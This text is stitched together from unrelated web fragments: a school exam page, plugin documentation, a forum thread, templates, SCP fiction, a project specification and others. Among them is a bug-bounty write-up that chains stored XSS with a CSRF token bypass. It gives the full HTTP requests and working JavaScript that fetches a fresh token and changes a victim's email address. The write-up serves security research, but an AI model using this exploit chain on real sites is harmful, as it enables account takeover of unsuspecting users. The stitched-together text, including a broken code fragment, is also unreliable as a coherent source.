SSC
X SSC is an important stage from where after that Student has to decide in which direction has to go.
SSC is an turning point of Students life. It is most precisous stage i.e. career defining moment in any student's life
Sheetal's Academy
State Board Of Secondary Education
SSC
X SSC is an important stage from where after that Student has to decide in which direction has to go.
SSC is an turning point of Students life. It is most precisous stage i.e. career defining moment in any student's life
Subjects in Commerce.
In SSC, all subjects are Compulsory Subjects, there is no optional subjects.
1.English.
2.Algebra and Geometry.
3.Science.
4.Hindi.
5.Marathi.
6.Social Studies.


بسم الله الرحمن الرحيم
When doing a Bug Hunting and finding a Stored XSS bug, usually the imagination will get a big enough bounty has been spinning around on the head. But sometimes the imagination fades when we try to insert document.cookie into the XSS payload and what appears is:
Popup alerts are expected to display cookies from the target website but instead display nothing because the cookies on the website are set HTTPOnly so that they cannot be accessed by javascript.
When you find something like this, usually the next option is to make a request using XHR to ‘force’ users to take sensitive actions without their knowledge. For example, changing passwords or changing email addresses.
And when will do that, requests are sent as follows:
POST /user/changeEmail HTTP/1.1
Host: redacted.com
Connection: close
Content-Length: 84
Sec-Fetch-Mode: cors
csrf-token: 3005c34f-4cea-4470-afe8-045f1c14a2af
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: */*
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,eu;q=0.6
Cookie: JSESSIONID=_zo6sV5qYkxhYwSCULJ4KRzOqP3G_-xVma2rKVPo; csrf-token=3005c34f-4cea-4470-afe8-045f1c14a2af;
<EMAIL_ADDRESS>Seen in the request header there is a csrf
token that aims to prevent CSRF attacks. So the exploitation process becomes more difficult because there is a CSRF header that changes every time a request is made.
When viewed closely, the request header and cookie have csrf-tokens
with the same value. So I tried to change the two values into another value, but still the same.
Request:
POST /user/changeEmail HTTP/1.1
Host: redacted.com
Connection: close
Content-Length: 84
Sec-Fetch-Mode: cors
csrf-token: asu
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: */*
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,eu;q=0.6
Cookie: JSESSIONID=_zo6sV5qYkxhYwSCULJ4KRzOqP3G_-xVma2rKVPo; csrf-token=asu;
<EMAIL_ADDRESS>Response:
{"changingEmailCompleted":true}
Boom! It turned out that the email was successfully changed using this method. This means we can manipulate the csrf-token
in the header to anything as long as the value is the same as the csrf-token
in the cookie.
Since we cannot access cookies, I have tried adding new cookies using the following script:
<script>document.cookie="csrf-token=asu";</script>
When trying to make a request, the response is as follows:
Why does the Possible CSRF attack detected
message appear ?
When rechecking is done, the request turns out to be like this:
POST /user/changeEmail HTTP/1.1
Host: redacted.com
Connection: close
Content-Length: 84
Sec-Fetch-Mode: cors
csrf-token: asu
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: */*
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,eu;q=0.6
Cookie: csrf-token=asu; JSESSIONID=_zo6sV5qYkxhYwSCULJ4KRzOqP3G_-xVma2rKVPo; csrf-token=0b84028f-35de-4bd6-bf72-a0a776a7b3f2;
<EMAIL_ADDRESS>There appear 2 cookies named csrf-token
, this seems to be the cause of the error earlier.
Since we don’t do anything to the cookies, all we can use here is csrf-token
in the request header. But of course we must get a valid value.
This website is built using AngularJS, there is no csrf-token
value stored in the HTML code, and the value of the cookie
changes with every request.
Wait, always changing every request?
This means that there are times when the server sends a new cookie
to the browser. So I tried to find out when that moment happened.
Then a background request is found to the endpoint /token
as follows:
Request:
POST /token HTTP/1.1
Host: redacted.com
Connection: close
Content-Length: 84
Sec-Fetch-Mode: cors
csrf-token: 0b84028f-35de-4bd6-bf72-a0a776a7b3f2
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: */*
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,eu;q=0.6
Cookie: JSESSIONID=_zo6sV5qYkxhYwSCULJ4KRzOqP3G_-xVma2rKVPo; csrf-token=0b84028f-35de-4bd6-bf72-a0a776a7b3f2;
Response:
HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
Connection: close
Date: Fri, 04 Oct 2019 15:08:38 GMT
Server: nginx
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate
Set-Cookie: csrf-token=725d97de-550d-4644-9579-d4b3e1209ded; path=/; secure; HttpOnly
X-XSS-Protection: 1; mode=block
Pragma: no-cache
csrf-token: 725d97de-550d-4644-9579-d4b3e1209ded
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
[...]
It can be seen that when making a request to endpoint /token
, the server responds by giving a new csrf-token
cookie. Then we can use this request to retrieve the csrf-token
, using a script like the following:
var xhr = new XMLHttpRequest();
var method = 'GET';
var url = 'https://redacted.com/token';
xhr.open(method,url,true);
xhr.send(null);
xhr.onreadystatechange = function()
{
var token = xhr.getResponseHeader('csrf-token');
alert(token);
}
And the CSRF Token was successfully obtained!
Finally, just combine it with the request to change the email earlier.
var xhr = new XMLHttpRequest();
var method = 'GET';
var url = 'https://redacted.com/token';
xhr.open(method,url,true);
xhr.send(null);
xhr.onreadystatechange = function()
{
var token = xhr.getResponseHeader('csrf-token'); // ngambil token dari response header
xhr.open("POST","https://redacted.com/user/changeEmail", true);
xhr.withCredentials="true";
xhr.setRequestHeader("csrf-token", token);
xhr.setRequestHeader("Content-type", "application/json; charset=UTF-8");
xhr.send('{"email":"pwn@1337.com"}');
}
alert('Ups, You\'re pwned!');
And the email address was successfully changed.
Conclusion
- When finding a Stored XSS but cannot get a cookie, don’t report it immediately because it is likely that the severity will decrease.
- Try to do chaining with other bugs, CSRF for example to perform sensitive actions
- When finding CSRF Protection, try to delete it or change its value to null, sometimes something magical can work.
- Look for other endpoints that can be used to obtain a valid CSRF Token.


// Label encode the targets
labels = preprocessing.MultiLabelBinarizer()
y = labels.fit_transform(y)
model = build(X, y)
model.labels_ = labels
model = grid_search
return model
print(X)
print(len(y))
model = build(X, y)


Amit Agarwal
Manager IT Applications
Here's What I Do.....
Code HTML, CSS
My Skills
I love managing people and coding in new technologies.
HTML
CSS
BootStrap
Drop me a line
Figure out yourself


Weather Dashboard
Search for a city:
Search
Temperature:
℉
Humidity:
%
Wind Speed:
MPH
UV index:
5-Day forecast
11/06/20
Temperature:
℉
Humidity:
%
11/4/20
Temperature:
℉
Humidity:
%
11/4/20
Temperature:
℉
Humidity:
%
11/4/20
Temperature:
℉
Humidity:
%
11/4/20
Temperature:
℉
Humidity:
%


Refer to the iCheck website for examples.
Note: iCheck v2.0 is on the way, it got a huge performance boost, many new options and methods. It's in a release candidate state, so you may try to use it. Feel free to submit an issue if you find something not working.
Tab
, Spacebar
, Arrow up/down
and other shortcutsiCheck works with checkboxes and radio buttons like a constructor. It wraps each input with a div, which may be customized by you or using one of the available skins. You may also place inside that div some HTML code or text using insert
option.
For this HTML:

<input type="checkbox" name="quux[1]" disabled>
Foo

Bar
<input type="radio" name="quux[2]" id="baz[1]" checked>
Bar
<input type="radio" name="quux[2]" id="baz[2]">
With default options you'll get nearly this:

<input type="checkbox" name="quux[1]" disabled>

Foo

Bar

<input type="radio" name="quux[2]" id="baz[1]" checked>

Bar

<input type="radio" name="quux[2]" id="baz[2]">

By default, iCheck doesn't provide any CSS styles for wrapper divs (if you don't use skins).
These options are default:
{
// 'checkbox' or 'radio' to style only checkboxes or radio buttons, both by default
handle: '',
// base class added to customized checkboxes
checkboxClass: 'icheckbox',
// base class added to customized radio buttons
radioClass: 'iradio',
// class added on checked state (input.checked = true)
checkedClass: 'checked',
// if not empty, used instead of 'checkedClass' option (input type specific)
checkedCheckboxClass: '',
checkedRadioClass: '',
// if not empty, added as class name on unchecked state (input.checked = false)
uncheckedClass: '',
// if not empty, used instead of 'uncheckedClass' option (input type specific)
uncheckedCheckboxClass: '',
uncheckedRadioClass: '',
// class added on disabled state (input.disabled = true)
disabledClass: 'disabled',
// if not empty, used instead of 'disabledClass' option (input type specific)
disabledCheckboxClass: '',
disabledRadioClass: '',
// if not empty, added as class name on enabled state (input.disabled = false)
enabledClass: '',
// if not empty, used instead of 'enabledClass' option (input type specific)
enabledCheckboxClass: '',
enabledRadioClass: '',
// class added on indeterminate state (input.indeterminate = true)
indeterminateClass: 'indeterminate',
// if not empty, used instead of 'indeterminateClass' option (input type specific)
indeterminateCheckboxClass: '',
indeterminateRadioClass: '',
// if not empty, added as class name on determinate state (input.indeterminate = false)
determinateClass: '',
// if not empty, used instead of 'determinateClass' option (input type specific)
determinateCheckboxClass: '',
determinateRadioClass: '',
// class added on hover state (pointer is moved onto input)
hoverClass: 'hover',
// class added on focus state (input has gained focus)
focusClass: 'focus',
// class added on active state (mouse button is pressed on input)
activeClass: 'active',
// adds hoverClass to customized input on label hover and labelHoverClass to label on input hover
labelHover: true,
// class added to label if labelHover set to true
labelHoverClass: 'hover',
// increase clickable area by given % (negative number to decrease)
increaseArea: '',
// true to set 'pointer' CSS cursor over enabled inputs and 'default' over disabled
cursor: false,
// set true to inherit original input's class name
inheritClass: false,
// if set to true, input's id is prefixed with 'iCheck-' and attached
inheritID: false,
// set true to activate ARIA support
aria: false,
// add HTML code or text inside customized input
insert: ''
}
There's no need to copy and paste all of them, you can just mention the ones you need:
$('input').iCheck({
labelHover: false,
cursor: true
});
You can choose any class names and style them as you want.
Just include icheck.js
after jQuery v1.7+ (or Zepto [polyfill, event, data]).
iCheck supports any selectors, but handles only checkboxes and radio buttons:
// customize all inputs (will search for checkboxes and radio buttons)
$('input').iCheck();
// handle inputs only inside $('.block')
$('.block input').iCheck();
// handle only checkboxes inside $('.test')
$('.test input').iCheck({
handle: 'checkbox'
});
// handle .vote class elements (will search inside the element, if it's not an input)
$('.vote').iCheck();
// you can also change options after inputs are customized
$('input.some').iCheck({
// different options
});
HTML5 allows specifying indeterminate ("partially" checked) state for checkboxes. iCheck supports this for both checkboxes and radio buttons.
You can make an input indeterminate through HTML using additional attributes (supported by iCheck). Both do the same job, but indeterminate="true"
may not work in some browsers (like IE7):
indeterminate="true"
<input type="checkbox" indeterminate="true">
<input type="radio" indeterminate="true">
determinate="false"
<input type="checkbox" determinate="false">
<input type="radio" determinate="false">
indeterminate
and determinate
methods can be used to toggle indeterminate state.
iCheck provides plenty callbacks, which may be used to handle changes.
| Callback name | When used |
|---|---|
| ifClicked | user clicked on a customized input or an assigned label |
| ifChanged | input's "checked", "disabled" or "indeterminate" state is changed |
| ifChecked | input's state is changed to "checked" |
| ifUnchecked | "checked" state is removed |
| ifToggled | input's "checked" state is changed |
| ifDisabled | input's state is changed to "disabled" |
| ifEnabled | "disabled" state is removed |
| ifIndeterminate | input's state is changed to "indeterminate" |
| ifDeterminate | "indeterminate" state is removed |
| ifCreated | input is just customized |
| ifDestroyed | customization is just removed |
Use on()
method to bind them to inputs:
$('input').on('ifChecked', function(event){
alert(event.type + ' callback');
});
ifCreated
callback should be binded before plugin init.
These methods can be used to make changes programmatically (any selectors can be used):
// change input's state to 'checked'
$('input').iCheck('check');
// remove 'checked' state
$('input').iCheck('uncheck');
// toggle 'checked' state
$('input').iCheck('toggle');
// change input's state to 'disabled'
$('input').iCheck('disable');
// remove 'disabled' state
$('input').iCheck('enable');
// change input's state to 'indeterminate'
$('input').iCheck('indeterminate');
// remove 'indeterminate' state
$('input').iCheck('determinate');
// apply input changes, which were done outside the plugin
$('input').iCheck('update');
// remove all traces of iCheck
$('input').iCheck('destroy');
You may also specify some function, that will be executed on each method call:
$('input').iCheck('check', function(){
alert('Well done, Sir');
});
Feel free to fork and submit pull-request or submit an issue if you find something not working.
iCheck is created to avoid routine of reinventing the wheel when working with checkboxes and radio buttons. It provides an expected identical result for the huge number of browsers, devices and their versions. Callbacks and methods can be used to easily handle and make changes at customized inputs.
There are some CSS3 ways available to style checkboxes and radio buttons, like this one. You have to know about some of the disadvantages of similar methods:
display: none
or visibility: hidden
used to hide themWhile CSS3 method is quite limited solution, iCheck is made to be an everyday replacement covering most of the tasks.
iCheck is verified to work in Internet Explorer 6+, Firefox 2+, Opera 9+, Google Chrome and Safari browsers. Should also work in many others.
Mobile browsers (like Opera mini, Chrome mobile, Safari mobile, Android browser, Silk and others) are also supported. Tested on iOS (iPad, iPhone, iPod), Android, BlackBerry and Windows Phone devices.
window.icheck
), data attributes (<input data-checkedClass="checked"
) and direct JavaScript object ($(input).icheck({ options })
)$(input).icheck('data')
to get all the options were used for customization (also stores a current states values - checked
, disabled
and indeterminate
), $('input').icheck('styler')
to get a wrapper div (that's used for customization)indeterminate
state$(input).on(callback)
)cursor
or area
option)fastclick
plugin), see the tap
optioninit
option (if set to false
) ins
tag is dropped (less DOM modifications), iCheck wraps each input with a single div
and doesn't use any extra markup for the any optionautoAjax
option, on by default)autoInit
option) - searches for .icheck
by default. Classnames can be changed using the window.classes
objecthoverLabelClass
, focusLabelClass
, activeLabelClass
, checkedLabelClass
, disabledLabelClass
and indeterminateLabelClass
options (mirror
option should be set to true
to make this happen)for
attribute is set)Note: extended docs and usage examples will be available later.
iCheck plugin is released under the MIT License. Feel free to use it in personal and commercial projects.


Home > Search & Find
Search & Find
Search & Find
PubMed@UCSF
Link to PubMed@UCSF via the Library website to access the full text of electronic journals via UC-eLinks
Journals
Full-text journals available online
Databases
Searchable gateways to articles, data sets, online books, and more
Guides by Topic
Find key resources and starting points for locating information
UCSF Library Catalog
Includes all UCSF holdings including print and online journals
UC-wide Catalog (Melvyl)
Articles, books, journals, and other materials held by UCSF, other UC campuses, and libraries worldwide
Course Reserves
Assigned readings, audiovisual material, or past exams for classes given on campus. Access is limited to UCSF students and personnel.
Archives & Online Collections
Manuscripts, UCSF archives, digitized collections, and rare books


Hi Guys,
So I have CMS3 installed on a Ubuntu Server 12.04 (32bit) LAMP machine. All is working well except I am inable to create a dashbord. When I click the + sign, the server returnes nothing.
Any ideas? I have looked into the PHP Suhosin module altho am unable to find the configuration file at /etc/php5/conf.d/suhosin.ini Not even sure this is the problem.
Any help is most appreciated.
Loving the interphase! Looking good Dev team!
Regards,
Mike Christiansen
Re: SOLVED - Cms3 - Cannot create dashboard
Hello Mike, sorry for a late reply, not sure what is causing the issue, can you inputs and feeds?
What is PHP Suhosin?
Re: SOLVED - Cms3 - Cannot create dashboard
I am having the same problem.
Clicking the create dashboard plus sign does nothing. Weird thing is that it used to work.. I created a couple of dashboards a week or so ago, deleted them a couple of days ago, and now I cannot create new ones.
Any ideas on where to start looking?
Edit 1: The error log at /var/log/apache2/error.log shows nothing.
Edit 2: and now it's working. I haven't done anything except looking around in the source code to find the cause of the problem. Slightly disturbing,,,
Re: SOLVED - Cms3 - Cannot create dashboard
I have found that the create dashboard plus sign only works in Firefox on my MacBook and not with any other browser. I can't get it to work on my PC with IE8 either.
So to create a new dashboard I use Firefox but it has other problems with other controls later in the process (for instance Save doesn't work which is a pain when you've spent some time creating a new dashboard) so I shut it down and do the other work on that dashboard in Safari! It's not great but it works on my setup.
Re: SOLVED - Cms3 - Cannot create dashboard
o dear, i will explore why
Re: SOLVED - Cms3 - Cannot create dashboard
Glad I'm not the only one!
Just to confirm, for me:
Safari v6 can't create a dashboard, but appears to be able to edit
Firefox v15.0.1 can create.
Re: SOLVED - Cms3 - Cannot create dashboard
Confirmed here: On latest OSX with latest browser versions, Firefox and Chrome can create dashboards, but not edit them.
Safari cannot create dashboards, but it can edit them.
Re: SOLVED - Cms3 - Cannot create dashboard
Testing on Ubuntu in both Firefox 15.0.1 and Chrome 14.0.835.163 adding new dashboards, editing, saving works fine.
Do any of you see anything in javascript console log window?
Could you also try running setup.php manually again, does anything show up there? You will need to uncommet $runnable in the top of the setup.php script.
Re: SOLVED - Cms3 - Cannot create dashboard
I have replicated this bug in Internet Explorer and have been able to fix it, (a variable (path) was not accessible to the whole script as is the case with chrome and firefox). I have uploaded the changes to emoncms.org and github. https://github.com/openenergymonitor/emoncms3
The trash button is still giving me trouble, not sure why. I can also see that none of the dials work :( and only some of the graphs..(in internet explorer only)
Re: SOLVED - Cms3 - Cannot create dashboard
Oops I had compatibility mode on in internet explorer 9, with it off everything works!! So emoncms now works for me in chrome and firefox and internet explorer 9, including dashboard editor, view and visualizations. The only bug seems to be the trash button.
Re: SOLVED - Cms3 - Cannot create dashboard
Fails for me in Safari, Chrome, Firefox
Still seeing issues on my system with latest drop from Git. Running latest MAMP on OSX Lion. Dashboard create fails in Chrome and Safari, succeeds in Firefox. Delete fails in Chrome but succeeds in Safari and Firefox.


FOUR
Navigation
Arrow
Look
Multi
Pan
Rotate
Tour
Walk
Zoom
Path Planning
Genetic Algorithm
Simulated Annealing
Selection
Click
Hover
Marquee
Helpers
Key Commands
Overlay
Undo
View Axis
View Cube
Application
Kitchen Sink
Demo Application
Documentation
Documentation


{%extends 'base.html'%} {%load crispy_forms_tags %} {%block content%}
Sign Up and get to know what your friends are upto!
Already have an account?Sign In


{% extends "events/base.html" %} {% block page_title %}About | {{ super() }}{% endblock %} {% block page_id %}about{% endblock %} {% block page_class %}{{ super() }} section-partners{% endblock %} {% block content %}
If you want to be on this list send us a request to become a partner organisation.


This DApp operates as a Middleman between a supplier and a consumer. It secure the funds between them during the transfert of goods.
Step 1
You can generate a transaction from your wallet to the wallet selected.
Step 2
You have to wait for the supplier/seller to send you the goods.
Step 3
When you receive the goods, confirm the reception here.
Active transaction:


SCP-ES-038 was informed that in order to proceed with its business, it should be kept confined in a cell of the Foundation for 6 months (time that is thought to extend time that is being negotiated with SCP-ES-038), which it accepted. During the following weeks, in order not to exhaust the patience of SCP-ES-038 and to obtain information, experiments were carried out with SCP-ES-038 through multiple exchanges perpetuated by different members of the staff.
| Subject |
D-67893 |
| Exchange |
8 grams of Gold (Au), for, 314 dollars |
| Interventions |
None |
Results: Test subject entered SCP-ES-038's chamber and offered 8 grams of pure gold, to which SCP-ES-038 responded with disinterest, offering 314 dollars back (which according to it, was "a sale of little value"). D-67893 shook hands with SCP-ES-038 and instantly the 8 grams of Gold were transferred to the briefcase of SCP-ES-038. After that, the anomaly proceeded to give the 314 dollars to the subject (later confiscated).
| Subject |
D-78098 |
| Exchange |
A piece of artwork from SCP-ES-195, for, a card with level 3 credentials |
| Interventions |
The subject was carrying a handgun in the back pocket of the pants that were provided by personnel. |
Results: The subject entered the chamber and presented SCP-ES-038 with his offer, the anomaly showed to be interested in the exchange and offered D-78098 a level 2 security card. Throughout the exchange, SCP-ES-038 was somewhat uneasy as if it knew that the test subject had a weapon in his pocket. D-78098 accepted the deal verbally and the card was granted to him (later confiscated).
| Subject |
Dr. Horacio |
| Exchange |
A level 5 security card (false), for, a pamphlet with information regarding the location of a Great Green God worship temple. |
| Interventions |
Once the exchange is complete, point an emty handgun at SCP-ES-038 |
Results: SCP-ES-038 was pleasantly interested in the offer, as it would allow him to "negotiate the terms" with the Foundation's superiors.
Video Log:
[BEGIN LOG]
Dr. Horacio: So, do you have information about the location of a Great Green God worship temple?
SCP-ES-038: Why would I lie to you? Indeed, and I have all the rights granted to give them to you.
Dr. Horacio: I see… (Poses his left hand near the back pocket, where his gun is).
SCP-ES-038: ( Takes a few steps back).
Dr. Horacio: So, resuming our offer, are you interested in the level 5 security card?
SCP-ES-038: Clearly, my esteemed.
Dr. Horacio: All right, then I'll take the deal.
(The card disappears from Dr. Horacio's pocket and appears in SCP-ES-038's briefcase)
Dr. Horacio: I would like to know, who gave you the permission to give us such information?
SCP-ES-038: The same woman who gave me the security cards in the first place.
Dr. Horacio: Interesting… (Removes the handgun from his pocket and holds it behind his back).
 What do you mean?

 And yet, you, this… Withdraw the weapon or I will reconsider the terms of our transaction.
Dr. Horacio: I see, so your eye increase your field of view… (Lift the loaded GLOCK 23 and point at SCP-ES-038)
SCP-ES-038: That's a shame…
Dr. Horacio: Huh?
(The weapon disappears from the hands of Dr. Horacio. SCP-ES-038 removes the same gun from his briefcase and points it at the researcher).
SCP-ES-038: So, (Enraged) What's the deal?
Dr. Horacio: (via a radio) Security!
[END LOG]
Note: SCP-ES-038 apologized after the event and said it was unusual for him, that he was a man of peace. He also asked that please there be no more dishonest behavior.
| Subject |
D-67393 |
| Exchange |
A figure of [REDACTED], for, an unidentified currency |
| Interventions |
The exchanged object was outside the chamber. |
Results: When the exchange took place, SCP-ES-038 saw some drawbacks, as he said he could not transport the object into his briefcase.
Note: After talking a little with SCP-ES-038 about this particular experiment, it was concluded that it can only transport things to SCP-ES-038-1 if they are in its range of vision (even if they are not easily visible).
| Subject |
Dr. Horacio |
| Exchange |
Company, for, nothing. |
| Interventions |
None |
Results: SCP-ES-038 stated that it was not interested in exchanges other than physical goods, rejecting the service as a consequence.
[FIN DE REGISTRO]
Hole in the wall caused by SCP-ES-038.
Note: After this experiment, no more were done for twelve weeks. At the end of the eleventh week, SCP-ES-038 was beginning to lose its patience, walking in circles in its cell and knocking the walls from time to time.
Incident 038.1: After eighty-seven days without doing any experiments, SCP-ES-038 positioned himself in the middle of its cell with his hands pointing towards the cell walls. SCP-ES-038 sighed deeply and the walls began to crack, then disappeared and manifested inside SCP-ES-038's briefcase. Toxic gas was released into the cell of SCP-ES-038, which caused it to immediately become unconscious.
Note of the Incident: SCP-ES-038 was placed in a humanoid harness as a temporary measure of containment while the walls are being repaired ~ Dr. Charles Haggard.
| Subject |
Dr. Horacio |
| Exchange |
[DATA EXPUNGED], for, documents with information about the Great Market |
| Interventions |
Condition to accept the exchange, kill a class-D (cover condition to see the reaction of SCP-ES-038 since the weapons would be without ammunition) |
Video Log:
The following test record was made after the repairs to SCP-ES-038's cell.
[BEGIN LOG]
(Dr. Horacio enters SCP-ES-038's chamber with two D-class personnel)
SCP-ES-038: (Lying on a pillow) Hmm?
Dr. Horacio: You look exhausted, don't you?
(No reply)
SCP-ES-038: (Sigh) I decided to take this cloister against my will as a temporary sentence, nothing is forever, not even your organization, so I will wait until then.
Dr. Horacio: A good way of thinking, but we haven't come for that right now, we have an offer that will interest you.
SCP-ES-038: (Rising slowly) elaborate.
Dr. Horacio: I offer you [ DATA EXPUNGED ] if you accept our conditions.
SCP-ES-038: (Shocked) Oh, this is unexpected, what are the conditions for our deal?
Dr. Horacio: First, you will have to give me information about this Great Market.
SCP-ES-038: Gladly. Anything else?
Dr. Horacio: And…
SCP-ES-038: (Deep Sigh) You… You don't have a soul, do you? The deal is between the two of us, I refuse to accept this deal if the conditions you have imposed persist.
Dr. Horacio: I see… (Aims a handgun at the D-Class on the other side).
SCP-ES-038: You…
Dr.
SCP-ES-038: (Silence)
Dr. Horacio: And…?
SCP-ES-038: (Looks at the roof)
Dr. Horacio: What are you waiting for? If you don't want to accept, I'm ready to shoot.
(There is silence for a minute)
Dr. Horacio: Are you going to do something?
SCP-ES-038: (Firmly) I'm thinking.
Dr. Horacio: Don't take too long.
(A cracked surface sounds)
Dr. Horacio: Huh?
(The roof cracks and breaks, dropping debris where the guards are. SCP-ES-038 opens his briefcase and parts of the roof come out of it)
SCP-ES-038: So, please let's discuss the terms of this deal.
Dr. Horacio: (Shocked) Oh, jeez, security!
SCP-ES-038: Coward…
[END LOG]


This stores system_logs_{date}-{time}.txt.zip to the Downloads directory. The archive contains a single file identical to the system_logs file attached to Feedback reports.
Also writes a policies_{date}-{time}.json file for providing policy configurations when that might be a factor.
Prefer this when uploading logs to issues or sending logs to developers (unless otherwise requested).
This stores the logs collected by debugd as individual files in a single archive file in the Downloads directory: debug-logs_{date}-{time}.tgz.
Also writes a policies_{date}-{time}.json file for providing policy configurations when that might be a factor.
Identical to the above, but also incldes the Chrome user logs. The output file is named combined-logs_{date}-{time}.tgz.


This page lists both personal projects and corporate sponsored projects I had a significant role in architecting and/or implementing. Most internal tools written for previous employers will not have external links becuase they are only accesible from internal networks.
{{ project.description }}


To show your appreciation for contributions in the forum, give some QuantConnect Credit (QCC) rewards. The following table shows the available QCC rewards:
| Award | Description | Cost (QCC) |
|---|---|---|
Silver Award |
A simple token of recognition from one quant to another. Keep up the great work. | 80 |
Gold Award |
This is some great work! Gold star! | 600 |
Platinum Award |
Highly resistant to oxidation, this award is for those contributions which will stand the test of time. Strong, classic, and useful for most high technology products. | 1,200 |
Medal for Excellence |
The QuantConnect Medal for Excellence is awarded by a member of the QuantConnect staff for exceptional contributions to the QuantConnect community. | 3,000 |
Plutonium Award |
Nuclear hot! This post is incredible and deserves recognition as such. Show the author your appreciation for their work. | 2,000 |
Docs Shakespeare |
You've left a mark by a contribution to the documentation for the community. Your edits and examples will be followed for generations to come. | 500 |
Nobel Laureate |
Bestowed in recognition of quantitative advances. | 80 |
Spaghetti Code Award |
Following the intricate flows of code noodle, this code compiles and runs. | 300 |
Jedi Quant |
Quant promise you show. Your code channel the force into. Hmmmmmm. | 200 |
Live Trader |
That looks like a wild ride. | 50 |
Today I Learned |
Thank you for upgrading my brain. | 50 |
Machine Unlearning |
I plan on letting the computers do all the work for me. | 150 |
Totally Overfit |
I see parameters everywhere. | 80 |
Mind Blown Award |
Something incredibly amazing, mind-boggling, and you're shocked senseless. | 80 |
Research Rembrandt |
A Jupyter notebook work of art, pulling together all the right hues and plots to be a true masterpiece. | 100 |
Cayman Island Award |
Let's get a boat and start a fund together. Did I mention the boat? | 800 |
Printing Money Award |
Awarded to profitable algorithms. | 100 |
Stronger Together Award |
We're stronger together. Let's make this happen! | 120 |
Appreciate the Support Award |
Quant trading is a hard road, we could all use a hand. | 250 |
Master Craftsman |
You're a master craftsman, taking raw materials and molding them into works of art for the good of the world. | 600 |


https://www.npmjs.com/org/easybread
Easily browse, read, edit, add, and delete (BREAD) data from third-party providers in a standard format.
Build an expandable, open-source NPM module for syncing data between third party HR / Identity providers with an easy API to include new third party providers as separate “plugins”. Each module should allow access to the raw data from the third party, as well as a standardized format for reading information that is consistent between third party providers.
An example package that does this type of plugin integration is https://github.com/editor-js. EditorJS allows you to pull in the primary “editor” as its own module, and then you can include “plugins” to extend the functionality. This project should model that approach.
The project and all modules should use TypeScript as the primary language. The code should be validated using husky pre-commit (to prevent committing bad code) and pre-push (to prevent pushing bad code) hooks. Utilize TSLint for lint checking.
Editor config should be used along with .vscode/settings.json to enforce two space indent, trailing whitespace, insert a final newline, format on saving, enable spelling, etc.
All code will be published via forking and opening a pull request to repositories at https://github.com/easybread
All pull requests and commits should go through automated testing and code quality analysis using https://lgtm.com/ and https://circleci.com/ or https://travis-ci.org/ to run tests.
Each third party will require a plugin to talk in their own format. The goal is to transform these different requests/responses into a standardized format to make pulling and updating information to and from these services a breeze. Should use https://schema.org/ for our schema when building out the "Standardized" set of information we pull. Basically any response we get from third-party providers, we should map to schema.org objects.
There should be a list of standard API calls that you can call to communicate with each third-party provider to put and pull information in a consistent format. Any extra information or APIs you would like to include as part of the standard module should not interfere with the standard API calls.
Each plugin may require the user to authenticate to communicate with the service. Authentication should be standardized between the different third party providers. There may be “background” or “server-side” processes that happen and “foreground” or “in-browser” processes that occur.
An example foreground process would be when a user inside a web application clicks on “Import from Google” and they are presented with a popup dialog to authenticate with their Google account. Once they authenticate, if possible, all communication with the API should be possible in both the browser and the server. If not, the auth tokens should be passed to a standardized endpoint that forwards the tokens to whatever plugin requested the authentication. The plugins should not implement their own REST API for fetching the tokens, however, the plugins may implement their own internal server APIs to communicate with the third-party providers. This should be done in a standardized manner using APIs from the main package for things like GET and POST requests. These requests should be debuggable and loggable from the primary package.
Easy bread should be database agnostic. The user should have the ability to choose a store for tokens/keys. We should build a standard storage using MongoDB by default
Everything should be testable and put into a validatable format. For example, jsonschema or simple-schema should be used to validate the objects passed by users and when formatted to the standard format from the third-party API.
Current “plugins” on the roadmap to build:
Import from ADP should allow easy access to sync worker information from ADP in a standard format. https://developers.adp.com/articles/api/workers-v2-api https://developers.adp.com/articles/api/worker-demographics-v2-api
Import from Google should allow easy access to sync G Suite users, contacts, etc., from Google into a standard format. Google stores contacts and users in different places. This plugin should allow you to pull contacts from your own contact list, as well as an employee directory if using G Suite. https://developers.google.com/people Email contacts from Gmail and other Google services may require separate plugins: easybread-gsuite, easybread-gmail, etc.
Microsoft has several different sources of information. We need to determine what these are and how we can import from them. Examples would include Active Directory, Azure Activity Directory, Outlook Online, etc. We may need to split these into separate plugins, e.g. easybread/outlook, easybread/azuread, etc.
Bamboo has an “employee” directory. We need to determine what different API endpoints are available to pull employee information. https://documentation.bamboohr.com/docs/getting-started
Generated using TypeDoc


LONDON - LONDON (AP) - British police say all 39 people found dead in container truck last week believed to be from Vietnam.


Class It Up!
Exploring classes and other data structures in Ruby
May 30, 2015
(This blog post is currently being edited. Please check back soon!)


